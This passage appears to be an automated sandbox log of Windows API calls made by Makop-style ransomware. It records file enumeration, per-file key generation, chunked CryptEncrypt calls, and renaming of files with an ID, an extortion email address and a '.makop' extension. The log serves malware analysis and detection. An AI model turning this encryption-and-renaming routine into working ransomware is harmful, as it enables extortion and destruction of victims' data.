GetProcessHeap () returned 0x48a0000 [0068.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0068.964] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0068.964] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0070.161] CloseHandle (hObject=0x130) returned 1 [0070.162] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0070.162] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0070.162] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0070.163] GetProcessHeap () returned 0x48a0000 [0070.163] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0070.163] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0070.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0070.164] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0070.164] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0070.165] GetProcessHeap () returned 0x48a0000 [0070.165] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0070.165] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0070.165] CryptDestroyKey (hKey=0x48c7128) returned 1 [0070.165] WriteFile (in: hFile=0x130, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0070.185] WriteFile (in: hFile=0x130, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0070.186] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0070.186] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0070.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0070.186] WriteFile (in: hFile=0x130, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0070.186] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0070.187] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0070.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.187] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd7200, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd7200, lpOverlapped=0x0) returned 1 [0070.220] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd7200, dwBufLen=0xd7200 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd7200) returned 1 [0070.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.232] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd7200, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd7200, lpOverlapped=0x0) returned 1 [0070.238] CryptDestroyKey (hKey=0x48c7128) returned 1 [0070.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd72c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.238] SetEndOfFile (hFile=0x130) returned 1 [0070.248] GetProcessHeap () returned 0x48a0000 [0070.248] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0070.248] GetProcessHeap () returned 0x48a0000 [0070.248] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0070.248] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0070.248] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0070.273] CloseHandle (hObject=0x130) returned 1 [0070.273] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0070.274] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0070.274] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0070.274] GetProcessHeap () returned 0x48a0000 [0070.275] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0070.275] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0070.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0070.276] WriteFile (in: hFile=0x130, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0070.281] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0070.281] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0070.281] GetProcessHeap () returned 0x48a0000 [0070.281] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0070.281] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0070.281] CryptDestroyKey (hKey=0x48c7128) returned 1 [0070.281] WriteFile (in: hFile=0x130, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0070.282] WriteFile (in: hFile=0x130, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0070.282] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0070.282] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0070.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0070.282] WriteFile (in: hFile=0x130, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0070.283] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0070.283] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0070.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.283] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5b1, lpOverlapped=0x0) returned 1 [0070.283] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c0) returned 1 [0070.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.283] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5c0, lpOverlapped=0x0) returned 1 [0070.283] CryptDestroyKey (hKey=0x48c7128) returned 1 [0070.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.284] SetEndOfFile (hFile=0x130) returned 1 [0070.290] GetProcessHeap () returned 0x48a0000 [0070.290] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0070.290] GetProcessHeap () returned 0x48a0000 [0070.290] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0070.290] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0070.290] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0070.296] CloseHandle (hObject=0x130) returned 1 [0070.297] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0070.297] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0070.297] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0070.297] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr") returned 71 [0070.298] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*.*") returned 75 [0070.298] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0070.299] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.299] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0070.299] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0070.299] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0070.299] GetFileSizeEx (in: hFile=0x130, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=21064532) returned 1 [0070.299] GetProcessHeap () returned 0x48a0000 [0070.299] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0070.300] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0070.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.300] WriteFile (in: hFile=0x130, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa4*=0xc, lpOverlapped=0x0) returned 1 [0070.305] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0070.305] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0070.305] GetProcessHeap () returned 0x48a0000 [0070.305] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0070.305] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a88*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a88*=0x30) returned 1 [0070.305] CryptDestroyKey (hKey=0x48c7128) returned 1 [0070.305] WriteFile (in: hFile=0x130, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa4*=0x30, lpOverlapped=0x0) returned 1 [0070.306] WriteFile (in: hFile=0x130, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0070.306] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0070.306] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0070.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0070.307] WriteFile (in: hFile=0x130, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0070.307] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0070.307] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0070.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0070.307] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0070.319] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0070.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.322] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0070.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.324] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0070.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0070.325] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0070.335] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0070.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.403] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0070.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.405] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0070.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13d6b60, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0070.406] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0070.413] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0070.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13d6b60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.419] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0070.421] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1416c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.421] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, 